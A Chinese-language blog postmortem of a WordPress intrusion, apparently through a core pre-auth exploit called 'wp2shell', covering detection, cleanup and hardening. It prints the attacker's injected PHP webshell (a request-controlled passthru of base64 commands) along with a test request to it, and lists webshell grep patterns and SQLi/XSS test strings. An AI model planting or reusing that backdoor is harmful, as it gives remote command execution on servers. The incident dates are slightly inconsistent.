写在前面:这是本人博客的一次真实入侵复盘。所有 VPS IP、域名、攻击者 IP、凭据文件名都已脱敏,仅保留通用安全经验。希望对其他站长有价值。
一、事件概要
2026-07-26 上午,登录 Wordfence 后台看到扫描结果:88 个"危急"级别文件被标记"文件似乎是恶意的或不安全的"。
我的第一反应是冷静——88 个文件大概率来自同一波攻击,但到底多大范围、持续多久、攻击者还留了什么后门,需要系统排查。
排查结果是:这次入侵从 7-20 开始,持续 13 天,攻击者是公开 WordPress 核心 0day 漏洞 wp2shell(CVE-2026-63030 / CVE-2026-60137)的利用者。
二、攻击链还原
1. 入口:wp2shell 核心预认证 RCE
WordPress 在 2026 年 7 月公开了一个核心 0day 漏洞链,公开 PoC 工具名为 wp2shell:
- CVE-2026-63030:REST API 批量端点路由混淆
- CVE-2026-60137:WP_Query 只读 SQL 注入
受影响版本:WordPress 6.9.0~6.9.4 + 7.0.0~7.0.1(无需插件、无需账号、匿名预认证可利用,默认安装即可触发)。
攻击者用 wp2shell 工具直接向 /wp-json/wp/v2/batch 发请求,伪造管理员账号。Wordfence 登录日志里留下了铁证:
UA: python-requests/2.32.5
UA: wp2shell-scan
UA: cve-2026-63030/1.0
UA: wp2shell
全部是漏洞利用工具的 User-Agent,没有一个是浏览器 UA。
攻击者创建的账号采用 wp2_ 前缀(这就是 wp2shell 工具命名的特征)——比如 wp2_697648、wp2_8fa323bd9bd5、wp2_e572b551a4e7 等十几个,全部是 administrator 角色。
⚠️ 关键认知:即使你关闭了用户注册(users_can_register=0)也挡不住 wp2shell——它根本不走注册流程,是直接通过 SQL 注入写库创建管理员。
2. 横向:上传伪装插件 + 批量注入后门
拿到 admin 后,攻击者做了两件事:
A. 上传伪装插件/主题(独立 webshell)
- 15 个
galex_*伪装插件,每个内含cox_*.php/cache_*.php/class_*.php/widget_*.php/health_*.php/maint_*.php多种命名变体的 webshell - 7 个
flavor_*伪装主题,每个内含cache_*.php等后门
这些文件命名刻意混淆(galex_xxxxxx 像 WordPress 官方插件 xxx,cox_/cache_` 等前缀假装是缓存组件),容易被扫描器忽略。
B. 批量注入合法文件后门(更隐蔽!)
这是这次攻击最危险的部分:攻击者用 WP 后台的插件/主题编辑器,给合法文件头部注入一行后门代码:
error_reporting(0);@ini_set('display_errors',0);
if(isset($_REQUEST["px"])&&$_REQUEST["px"]==="xxx"){
$__c=base64_decode($_REQUEST["b"]);
ob_start();@passthru($__c.' 2>&1');
$__o=ob_get_clean();echo"[S]".$__o."[E]";
exit;
}
注入到 apollo13-framework-extensions 插件的 60 个 PHP 文件头部 + 默认主题(twentytwenty*)的 pattern 文件 + rife-free 主题的 functions.php。
每个文件注入多个密码变体(5 个 px 密码),保证至少一个能用。注入后立刻测试:
GET /wp-content/plugins/apollo13-framework-extensions/widgets/widget-menu-walker.php?px=uwvjbuwcchrd&c=id
→ uid=33(www) ✅ 后门可用
这类后门的隐蔽性极高:它寄生在合法插件里,文件名正常、代码主体正常,只有头部几行是恶意代码。普通杀毒扫描几乎不会报——它不是新增文件,是污染了现有可信文件。
三、检测信号(关键经验)
1. Wordfence 登录日志的 UA 是金矿
查 WordPress 数据库的 wp_wflogins 表时,攻击者账号的 User-Agent 字段暴露了攻击工具名:
username fail action UA
wp2_697648 0 loginOK Mozilla/5.0 (Macintosh...) ← 浏览器 UA
wp2_697648 0 loginOK python-requests/2.32.5 ← 工具!
wp2_4ffdc12.. 0 loginOK wp2shell-scan ← 工具!
wp2_8b74616.. 0 loginOK cve-2026-63030/1.0 ← 工具!
wp2_6f9e27c.. 0 loginOK wp2shell ← 工具!
python-requests / wp2shell-scan / cve-2026-63030/1.0 出现在登录 UA 里就是铁证——真用户不会用这些 UA 登录。
2. 异常文件 mtime 集中爆发
攻击者注入后门的那几分钟(17:50~17:55),60 个合法插件文件的 mtime 几乎同时变化。这种"批量 mtime" 是后门注入的典型特征。
3. Wordfence 后台的 88 个告警
8-01 18:16 Wordfence 第一次完整扫描:
- 60 个 apollo13 文件(注入)
- 7 个 flavor_* 主题文件
- 15 个 galex_* 插件文件
- 6 个 twentytwenty* 主题文件
但 Wordfence 在 7-20~7-25 期间没有报警——为什么?Wordfence WAF 从 2020 年安装以来从未真正启用! auto_prepend_file 配置为空,WAF 引导文件没进 PHP 执行链。防火墙形同虚设 5 年多——这是我后来才挖出的更深层问题。
四、排查路径(按优先级)
- Wordfence 后台 → Scan(最直接,看恶意文件清单)
- Wordfence → Tools → Diagnostics → Wordfence log(看攻击者请求日志)
- 直接查数据库
wp_wflogins(SELECT username, FROM_UNIXTIME(ctime), UA FROM wp_wflogins WHERE fail=0 AND UA NOT LIKE '%Mozilla%' AND UA NOT LIKE '%WordPress%') - 文件 mtime 批量审计:
find /home/www/wp-content -newermt "2 days ago" -type f -printf "%TY-%Tm-%d %TH:%M %p\n" | sort(看短时间内的批量修改) - webshell 特征全文 grep:
grep -rlE "eval\(base64_decode|gzinflate|str_rot13|passthru\(.*\$_REQUEST" /home/www/wp-content/plugins/ - 可疑命名模式:
find /home/www -name "cache_[a-f0-9]*.php" -o -name "cox_*.php" -o -name "health_*.php" - binlog 检查 DDL/DML/GRANT(攻击者通过 wp2shell 创建用户 / 提权可能留 SQL 痕迹)
必须查但容易被忽略的:
- Wordfence WAF 是否真的启用:检查
php.ini的auto_prepend_file是否指向wordfence-waf.php。这是关键陷阱——很多站装了 Wordfence 但 WAF 没真正激活。 - MySQL root 密码:wp-config.php 里 DB_PASSWORD = MySQL root 密码。攻击者拿到 admin 后能读 wp-config → 能连 MySQL root → 直接拖库 + 跨库操作。我的 MySQL root 密码和 Gitea 数据库共用,攻击者拿到一个就两个都完蛋。
- SSH 是不是还开着密码认证:SSH 爆破 1600+ 次在打 root,密码登录开着就是定时炸弹。
- 仓库权限:Gitea 仓库目录默认是
r--r--r--(git 对象世界可读)——攻击者拿到 www shell 就能 tar 整个仓库。
五、清理步骤(实操)
Step 1:隔离(不是删除!)
mkdir -p /root/webshell_quarantine/$(date +%Y%m%d)/
cp -r /home/www/wp-content/plugins/apollo13-framework-extensions /root/webshell_quarantine/.../
cp -r /home/www/wp-content/themes/flavor_* /root/webshell_quarantine/.../
cp -r /home/www/wp-content/plugins/galex_* /root/webshell_quarantine/.../
cp /home/www/wp-content/themes/rife-free/functions.php /root/webshell_quarantine/.../
# 隔离后不要立刻删——留几天确认没遗漏时作为比对参考
Step 2:从官方源重装污染文件
这是最关键的一步——不要手动编辑被注入的文件去删 px 后门!攻击者可能藏了多处,手动删漏一处就复发。
wp plugin install apollo13-framework-extensions --force --allow-root
wp theme install rife-free --force --allow-root
wp theme install twentytwentyfive twentytwentyfour twentytwentythree twentytwentytwo --force --allow-root
rm -rf /home/www/wp-content/plugins/galex_* # 完全陌生插件直接删
rm -rf /home/www/wp-content/themes/flavor_* # 完全陌生主题直接删
wp plugin install –force 会用官方最新版覆盖整个插件目录,彻底替换所有被污染文件。
Step 3:清掉所有恶意用户
wp user list --allow-root # 看还有没有 wp2_ 账号
# 在 WP 后台 → 用户 → 批量删除
Step 4:密钥轮换(所有相关凭据都要换!)
攻击者拿到 admin 后很可能已经读过 wp-config.php——意味着 MySQL root 密码泄露。必须:
- wp-config.php 的
DB_PASSWORD→ 改 - MySQL root 密码 → 改
- WP admin 密码 → 改
- SSH 密码 → 改(如果还开着)
- Application Password → 吊销并重建
更安全的做法:不要所有服务共用 MySQL root,给每个应用建专用账号:
CREATE USER 'wp_user'@'localhost' IDENTIFIED BY '新密码';
GRANT ALL ON your_wp_db.* TO 'wp_user'@'localhost';
这样即使 wp-config 泄露,攻击者也只能动 WP 库,不会影响其他服务。
Step 5:激活 Wordfence WAF
# php.ini 的 [PHP] 段:
auto_prepend_file = /home/www/wordpress/wp-content/plugins/wordfence/waf/bootstrap.php
重启 PHP-FPM。然后手动测一下 WAF 是否生效:
curl -sI 'https://yoursite.com/?q=<script>alert(1)</script>'
# 应该返回 403
Step 6:关闭 SSH 密码登录
sed -i 's/^PermitRootLogin yes/PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
sshd -t && systemctl reload ssh
(前提:你确认 authorized_keys 里至少有一把可用的 key——否则会被锁在外面)
Step 7:加固 wp-config.php
define('DISALLOW_FILE_EDIT', true); // 禁用 WP 后台编辑器 = 堵死批量注入路径
添加 mu-plugin 禁用 XML-RPC + 限制 REST API 用户枚举端点:
// /wp-content/mu-plugins/hardening.php
add_filter('xmlrpc_enabled', '__return_false');
add_filter('rest_endpoints', function($endpoints){
if(isset($endpoints['/wp/v2/users'])) unset($endpoints['/wp/v2/users']);
if(isset($endpoints['/wp/v2/users/(?P<id>[\d]+)'])) unset($endpoints['/wp/v2/users/(?P<id>[\d]+)']);
return $endpoints;
});
Step 8:WordPress 后台 → Settings → Permalinks → Save
刷新一次 rewrite rules,防止攻击者改过 .htaccess 留 rewrite 后门。
六、加固建议(按优先级)
| 优先级 | 措施 | 防止什么 |
|---|---|---|
| P0 | 升级 WordPress 到 7.0.2+ / 6.9.5+ | 修复 wp2shell CVE |
| P0 | 激活 Wordfence WAF(auto_prepend 配对) | 拦截常见 XSS / SQLi / 已知漏洞 payload |
| P0 | SSH 关密码登录,只允许 key | 防 SSH 爆破 |
| P1 | DISALLOW_FILE_EDIT | 堵死 WP 后台编辑器批量注入路径 |
| P1 | wp-config + MySQL root 拆成专用账号 | 单点泄露不波及其他服务 |
| P1 | Wordfence 后台 → 定期看扫描结果 | 别让"88 个告警"躺几个月 |
| P2 | 仓库目录权限收紧(如 Gitea) | 防止 tar 偷源码 |
| P2 | nginx 给 wp-login 加 limit_req | 防 wp-login 爆破 |
| P2 | 启用 Wordfence 邮件告警 | 被攻击后第一时间知道 |
| P3 | 长期:考虑 静态化(Hugo/Astro) | 无 PHP = 无 PHP 攻击面 |
七、经验教训
教训 1:WordPress 核心漏洞不可忽视
很多人觉得"WP 装了 Wordfence/Sucuri 就安全"——但 WAF 必须真的激活才能拦。我的 Wordfence 装了 5 年,WAF 引导文件从来没进过 PHP 执行链(auto_prepend 配错)。下次部署任何 WAF,必须主动验证它在拦截:
# 测 SQL 注入
curl 'http://yoursite.com/?id=1%27%20OR%20%271%27%3D%271'
# 测 XSS
curl 'http://yoursite.com/?q=<script>alert(1)</script>'
# 测 webshell
curl 'http://yoursite.com/wp-content/shell.php'
教训 2:后门注入合法文件比新建 webshell 更可怕
这次攻击的 60 个后门是注入到合法插件文件头部的——不是新增文件。如果只 grep /home/www/wp-content/plugins 找可疑新文件,会全部漏掉。
排查时一定要:
- 不只看"新增文件"
- 还要查"近期 mtime 变化的合法文件"
- 用
sha256sum对比官方插件目录 hash(如果插件包提供)
教训 3:共用密码 = 全线崩溃
我的 wp-config.php DB_PASSWORD = MySQL root 密码 = Gitea 数据库密码。攻击者拿到 WP admin 就能读 wp-config → 直接拿到 MySQL root → 拖整个数据库 + 跨库操作 + 主从复制攻击。
每个服务用独立 MySQL 账号 + 独立密码,是最低成本、最高收益的纵深防御。
教训 4:WordPress 整体安全模型有结构性弱点
- 庞大的插件生态(5-6 万个)= 大量第三方代码攻击面
- PHP runtime = eval() / include() 等危险函数随时可用
- MySQL + 文件系统 = 攻击者拿到 admin 就能读写底层
- 后台编辑器 = 给合法文件注入后门的捷径(这次核心手法)
长期建议:考虑迁到静态站点生成器(Hugo / Astro / Eleventy)。写 Markdown → git push → 自动构建 → 静态文件 nginx 托管。没有 PHP runtime、没有数据库、没有后台登录页——攻击面趋近于零。
八、给同样装了 Wordfence 的人的 checklist
- [ ] Wordfence WAF 激活了吗?测一个 XSS 请求看返回码
- [ ]
php.ini的auto_prepend_file指向wordfence-waf.php? - [ ] WordPress 版本 ≥ 7.0.2 或 ≥ 6.9.5?
- [ ]
wp-config.php的DB_PASSWORD是否唯一(不复用其他服务)? - [ ]
wp_users表里有没有wp2_/cve-之类可疑账号? - [ ] wp-content 下有没有
cache_[hex]*.php/cox_*.php/health_*.php等可疑命名? - [ ] SSH 关了密码登录?
- [ ] Wordfence 上次完整扫描是多久前?(默认每天 1 次,看是不是被关了)
参考资料
- CVE-2026-63030 — REST API batch endpoint route confusion
- CVE-2026-60137 — WP_Query read-only SQL injection
- WordPress 7.0.2 / 6.9.5 安全更新公告
- Wordfence WAF 配置文档
- Rapid7 / Tenable / Cloudflare 对 wp2shell 的分析报告
本文是个人博客技术复盘,欢迎留言讨论你的清理经验。如果觉得有用,请分享给其他站长。
评论
本博客的评论系统由 GitHub Discussions 提供(通过 giscus)。如果你无法加载下面的评论框,通常是因为无法访问 GitHub(github.com / giscus.app)。